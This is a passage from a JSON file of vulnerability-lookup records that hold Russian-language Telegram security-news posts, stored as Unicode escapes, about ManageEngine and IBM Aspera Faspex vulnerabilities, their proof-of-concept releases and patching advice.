\u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c\u0438 \u0441\u0435\u0430\u043d\u0441\u0430\u043c\u0438 Access Manager Plus.\n\n\u0423\u0441\u043f\u0435\u0448\u043d\u0430\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u043e\u0439 \u0431\u0430\u0437\u0435 \u0434\u0430\u043d\u043d\u044b\u0445 \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0438\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0435 \u0437\u0430\u043f\u0440\u043e\u0441\u044b \u0434\u043b\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0437\u0430\u043f\u0438\u0441\u044f\u043c \u0442\u0430\u0431\u043b\u0438\u0446\u044b \u0431\u0430\u0437\u044b \u0434\u0430\u043d\u043d\u044b\u0445.\n\n\u041e\u0448\u0438\u0431\u043a\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430 \u043f\u0443\u0442\u0435\u043c \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0438 \u044d\u043a\u0440\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u0441\u0438\u043c\u0432\u043e\u043b\u043e\u0432 \u0432 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 Password Manager Pro \u0432\u0435\u0440\u0441\u0438\u0438 12210, PAM360 \u0432\u0435\u0440\u0441\u0438\u0438 5801 \u0438 Access Manager Plus \u0432\u0435\u0440\u0441\u0438\u0438 4309.\n\nZoho \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442 \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u043c \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u044b\u0435 \u043a\u043e\u043f\u0438\u0438 \u0441\u0432\u043e\u0438\u0445 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043e\u043a Password Manager Pro, PAM360 \u0438 Access Manager Plus \u043f\u0435\u0440\u0435\u0434 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435\u043c \u0434\u043b\u044f \u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u043f\u043e\u0442\u0435\u0440\u0438 \u0434\u0430\u043d\u043d\u044b\u0445.\n\n\u0423\u0447\u0438\u0442\u044b\u0432\u0430\u044f \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u044c \u044d\u0442\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u043c \u043d\u0430\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043d\u0435\u043c\u0435\u0434\u043b\u0435\u043d\u043d\u043e \u043f\u0435\u0440\u0435\u0439\u0442\u0438 \u043d\u0430 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u044e\u044e \u0441\u0431\u043e\u0440\u043a\u0443\u0435 \u043d\u0430\u0437\u0432\u0430\u043d\u043d\u044b\u0445 \u0440\u0435\u0448\u0435\u043d\u0438\u0439.\n\nZoho \u043d\u0435 \u0443\u043f\u043e\u043c\u044f\u043d\u0443\u043b\u0430 \u043e\u0431 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 \u044d\u0442\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0434\u0438\u043a\u043e\u0439 \u043f\u0440\u0438\u0440\u043e\u0434\u0435, \u043d\u043e \u043a\u0430\u043a \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e, \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0438\u0435 \u0431\u0430\u0433\u0438 ManageEngine \u0443\u0436\u0435 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0438 \u043d\u0435\u043e\u0434\u043d\u043e\u043a\u0440\u0430\u0442\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438\u0441\u044c \u0432 \u0430\u0442\u0430\u043a\u0430\u0445.", "creation_timestamp": "2023-01-09T10:02:17.000000Z"}, {"uuid": "2fcee2b0-f066-4700-a048-0f42d5c9dfcd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47966", "type": "published-proof-of-concept", "source": "https://t.me/true_secator/3966", "content": "\u041a\u0430\u043a \u043c\u044b \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u043b\u0438, \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 Horizon3 \u0440\u0430\u0441\u043a\u0440\u044b\u043b\u0438 PoC-\u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u00a0\u0438 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u043b\u0438 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0430\u043d\u0430\u043b\u0438\u0437\u00a0\u0434\u043b\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 RCE-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2022-47966 \u0432  \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445 Zoho ManageEngine.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u0442\u044c RCE, \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0432 \u0437\u0430\u043f\u0440\u043e\u0441 HTTP POST, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0438\u0439 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043e\u0442\u0432\u0435\u0442 SAML.\n\nPOC \u0437\u043b\u043e\u0443\u043f\u043e\u0442\u0440\u0435\u0431\u043b\u044f\u0435\u0442 \u0435\u0439 \u0434\u043b\u044f \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043c\u0435\u0442\u043e\u0434\u0430 Java Runtime.exec.\n\n\u042d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u0431\u044b\u043b \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u043f\u0440\u043e\u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043d \u043d\u0430 ServiceDesk Plus \u0438 Endpoint Central, \u0438 \u043a\u0430\u043a \u043f\u043e\u043b\u0430\u0433\u0430\u044e\u0442 \u0432 Horizon3, POC \u0431\u0443\u0434\u0435\u0442 \u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c \u0431\u0435\u0437 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0439 \u0432\u043e \u043c\u043d\u043e\u0433\u0438\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445 ManageEngine, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u0447\u0430\u0441\u0442\u044c \u0441\u0432\u043e\u0435\u0439 \u043a\u043e\u0434\u043e\u0432\u043e\u0439 \u0431\u0430\u0437\u044b \u0441 ServiceDesk Plus \u0438\u043b\u0438 EndpointCentral.\n\n\u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043e\u0431 \u0430\u0442\u0430\u043a\u0430\u0445 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u044d\u0442\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043d\u0435 \u043f\u043e\u0441\u0442\u0443\u043f\u0430\u043b\u043e \u0438\u00a0\u043f\u043e\u043f\u044b\u0442\u043e\u043a \u0435\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u0432\u00a0\u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445 \u043d\u0435 \u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043b\u043e\u0441\u044c, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438, \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e, \u0431\u044b\u0441\u0442\u0440\u043e \u043f\u0435\u0440\u0435\u0439\u0434\u0443\u0442 \u043a \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0445 RCE-\u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432 \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 PoC-\u043a\u043e\u0434\u0430 Horizon3.\n\n\u0412\u0435\u0434\u044c \u043a\u0430\u043a \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e, \u0432 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0435 \u0433\u043e\u0434\u044b \u0444\u0438\u043d\u0430\u043d\u0441\u043e\u0432\u043e \u043c\u043e\u0442\u0438\u0432\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0438 \u0410\u0420\u0422 \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0438 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0430\u0442\u0430\u043a\u043e\u0432\u0430\u043b\u0438 \u0441\u0435\u0440\u0432\u0435\u0440\u044b Zoho ManageEngine \u0432 \u0445\u043e\u0434\u0435 \u0441\u0432\u043e\u0438\u0445 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0439.", "creation_timestamp": "2023-01-20T11:40:07.000000Z"}, {"uuid": "946a96bf-c6b6-44c7-a9be-67add07e2090", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47966", "type": "published-proof-of-concept", "source": "https://t.me/true_secator/3953", "content": "\u0420\u0435\u0441\u0435\u0440\u0447\u0435\u0440\u044b Horizon3 Attack Team \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u044e\u0442, \u0447\u0442\u043e \u043a \u043a\u043e\u043d\u0446\u0443 \u043d\u0435\u0434\u0435\u043b\u0438 \u0441\u0442\u0430\u043d\u0435\u0442 \u0434\u043e\u0441\u0442\u0443\u043f\u0435\u043d PoC \u0434\u043b\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 RCE-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0435\u0439 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u044b Zoho ManageEngine.\n\nCVE-2022-47966 \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0443\u0441\u0442\u0430\u0440\u0435\u0432\u0448\u0435\u0439 \u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0439 \u0441\u0442\u043e\u0440\u043e\u043d\u043d\u0435\u0439 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438 Apache Santuario. \u041e\u0448\u0438\u0431\u043a\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u043c\u0438 \u043f\u0430\u0442\u0447\u0430\u043c\u0438, \u0432\u044b\u0448\u0435\u0434\u0448\u0438\u043c\u0438 \u043d\u0430\u0447\u0438\u043d\u0430\u044f \u0441 27 \u043e\u043a\u0442\u044f\u0431\u0440\u044f 2022 \u0433\u043e\u0434\u0430.\n\n\u0423\u0441\u043f\u0435\u0448\u043d\u0430\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c, \u043d\u0435 \u043f\u0440\u043e\u0448\u0435\u0434\u0448\u0438\u043c \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u043f\u043e\u0434\u043b\u0438\u043d\u043d\u043e\u0441\u0442\u0438, \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043e\u0442 NT AUTHORITY\\SYSTEM \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u0445 ManageEngine, \u0435\u0441\u043b\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u0430 \u0435\u0434\u0438\u043d\u043e\u0433\u043e \u0432\u0445\u043e\u0434\u0430 (SSO) \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 SAML \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u0430 \u0438\u043b\u0438 \u0431\u044b\u043b\u0430 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u0430 \u0445\u043e\u0442\u044f \u0431\u044b \u043e\u0434\u0438\u043d \u0440\u0430\u0437 \u043f\u0435\u0440\u0435\u0434 \u0430\u0442\u0430\u043a\u043e\u0439.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043d\u0435 \u0441\u043b\u043e\u0436\u043d\u0430 \u0432 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u044d\u0444\u0444\u0435\u043a\u0442\u0438\u0432\u043d\u043e \u043f\u0440\u043e\u0432\u043e\u0434\u0438\u0442\u044c \u0430\u0442\u0430\u043a\u0438 \u0442\u0438\u043f\u0430 \u00abspray and pray\u00bb.\n\n\u041a \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0435\u043c\u0443 \u0432\u0440\u0435\u043c\u0435\u043d\u0438 \u0440\u0435\u0441\u0435\u0440\u0447\u0435\u0440\u044b \u0442\u0430\u043a \u0438 \u043d\u0435 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u043b\u0438 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0434\u0435\u0442\u0430\u043b\u0438, \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u0438\u0432 \u043b\u0438\u0448\u044c \u043e\u0431\u0449\u0438\u0435 \u0438\u043d\u0434\u0438\u043a\u0430\u0442\u043e\u0440\u044b \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 (IOC). \u041e\u0434\u043d\u0430\u043a\u043e \u0443\u0436\u0435 \u043a \u043a\u043e\u043d\u0446\u0443 \u043d\u0435\u0434\u0435\u043b\u0438 Horizon3\u00a0\u043f\u043b\u0430\u043d\u0438\u0440\u0443\u044e\u0442 \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u0442\u044c\u00a0\u0441\u0432\u043e\u0439 PoC-\u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442.\n\n\u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u043e\u0431 \u0430\u0442\u0430\u043a\u0430\u0445 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u044d\u0442\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0434\u0438\u043a\u043e\u0439 \u043f\u0440\u0438\u0440\u043e\u0434\u0435, \u043f\u043e \u043c\u043d\u0435\u043d\u0438\u044e GreyNoise, \u0445\u0430\u043a\u0435\u0440\u044b, \u0441 \u0432\u044b\u0441\u043e\u043a\u043e\u0439 \u0434\u043e\u043b\u0435\u0439 \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e\u0441\u0442\u0438, \u0431\u044b\u0441\u0442\u0440\u043e \u043f\u0435\u0440\u0435\u0439\u0434\u0443\u0442 \u043a \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044e \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0445 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432, \u043a\u0430\u043a \u0442\u043e\u043b\u044c\u043a\u043e Horizon3 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u0443\u0435\u0442 PoC.\n\n\u0423\u0447\u0438\u0442\u044b\u0432\u0430\u044f, \u0447\u0442\u043e \u043f\u0440\u0435\u0434\u0432\u0430\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u043e\u0446\u0435\u043d\u043a\u0438 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c Shodan, \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u044e\u0442 \u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c 10% \u0432\u0441\u0435\u0445 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432 ManageEngine \u0434\u043b\u044f \u0430\u0442\u0430\u043a CVE-2022-47966, \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430\u043c \u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u0443\u0434\u0435\u043b\u0438\u0442\u044c \u043f\u0440\u0438\u0441\u0442\u0430\u043b\u044c\u043d\u043e\u0435 \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435 \u0432\u043e\u043f\u0440\u043e\u0441\u0430\u043c \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u0440\u0435\u0448\u0435\u043d\u0438\u0439. \u0412\u0435\u0434\u044c \u0432 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0435 \u0433\u043e\u0434\u044b \u0441\u0435\u0440\u0432\u0435\u0440\u044b Zoho ManageEngine \u043f\u043e\u0434\u0432\u0435\u0440\u0433\u0430\u043b\u0438\u0441\u044c \u043f\u043e\u0441\u0442\u043e\u044f\u043d\u043d\u044b\u043c \u0445\u0430\u043a\u0435\u0440\u0441\u043a\u0438\u043c \u043d\u0430\u043f\u0430\u0434\u043a\u0430\u043c (1, 2).", "creation_timestamp": "2023-01-18T11:21:02.000000Z"}, {"uuid": "2945a560-745b-49b6-8fae-06caceaac34f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47986", "type": "published-proof-of-concept", "source": "https://t.me/true_secator/4022", "content": "\u0420\u0435\u0441\u0435\u0440\u0447\u0435\u0440\u044b \u0410ssetnote \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 RCE-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2022-47986 \u0432 \u043e\u0434\u043d\u043e\u043c \u0438\u0437 \u0441\u0430\u043c\u044b\u0445 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0445 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0445 \u0440\u0435\u0448\u0435\u043d\u0438\u0439 \u0434\u043b\u044f \u0431\u044b\u0441\u0442\u0440\u043e\u0439 \u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0439 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 - IBM Aspera Faspex.\n\n\u041f\u0440\u043e\u0434\u0443\u043a\u0442 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0434\u043b\u044f \u043e\u0431\u043c\u0435\u043d\u0430 \u0444\u0430\u0439\u043b\u0430\u043c\u0438, \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u043e\u0435 \u043d\u0430 \u0431\u0430\u0437\u0435 IBM Aspera High-Speed Transfer Server \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0446\u0435\u043d\u0442\u0440\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438.\n\n\u0411\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u044f \u0433\u0440\u0430\u0444\u0438\u0447\u0435\u0441\u043a\u043e\u043c\u0443 \u0432\u0435\u0431-\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0443 Faspex \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u0442 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u043d\u044b\u0435 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0432\u044b\u0441\u043e\u043a\u043e\u0441\u043a\u043e\u0440\u043e\u0441\u0442\u043d\u043e\u0439 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0435\u0439 FASP. \u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, IBM Aspera Faspex \u0440\u0435\u0430\u043b\u0438\u0437\u0443\u0435\u0442 \u0442\u0430\u043a\u0436\u0435 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0435 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0444\u0430\u0439\u043b\u043e\u0432 \u0432 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0438&\n\n\u041a\u0430\u043a \u043e\u0442\u043c\u0435\u0447\u0430\u044e\u0442 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438, \u043f\u0440\u0438 \u0430\u0443\u0434\u0438\u0442\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f Ruby on Rails \u0432\u0430\u0436\u043d\u043e \u043f\u043e\u043d\u0438\u043c\u0430\u0442\u044c \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 \u043f\u0440\u043e\u0435\u043a\u0442\u0430, \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u0441\u0442\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e SECRET_KEY_BASE \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u0432\u043d\u0443\u0442\u0440\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0444\u0430\u0439\u043b\u0430 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u043e\u0432, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0435\u0433\u043e \u0441\u043f\u0438\u0441\u043e\u043a \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u043e\u0432 \u0438 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0445 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u043e\u0432, \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u044e\u0449\u0438\u0445 \u044d\u0442\u0438 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u044b.\n\n\u041c\u0435\u0442\u043e\u0434\u043e\u043b\u043e\u0433\u0438\u044f \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u043b\u0430\u0441\u044c \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e\u0431\u044b \u0433\u043b\u0443\u0431\u043e\u043a\u043e \u043f\u043e\u0433\u0440\u0443\u0437\u0438\u0442\u044c\u0441\u044f \u0432\u00a0app \u043f\u0430\u043f\u043a\u0443 \u0438 \u0441\u043e\u0441\u0440\u0435\u0434\u043e\u0442\u043e\u0447\u0438\u0442\u044c\u0441\u044f \u043d\u0430 \u0432\u0441\u0435\u0445 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u0430\u0445, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0436\u043d\u043e \u0431\u044b\u043b\u043e \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438.\u00a0\n\n\u041e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u0430\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0431\u044b\u043b\u0430 \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043d\u0435\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0439 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u043e\u0439 YAML \u043d\u0430 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0435 /package_relay/relay_package. \u0421 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0433\u0430\u0434\u0436\u0435\u0442\u043e\u0432 \u0434\u0435\u0441\u0435\u0440\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0434\u043e\u0431\u0438\u043b\u0438\u0441\u044c \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434\u044b, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u044d\u0442\u043e\u0442 \u043f\u0440\u0438\u0435\u043c\u043d\u0438\u043a \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u043b \u0434\u0430\u043d\u043d\u044b\u0435, \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u0443\u0435\u043c\u044b\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c.\n\n\u041f\u043e \u0438\u0442\u043e\u0433\u0443 \u0438\u043c 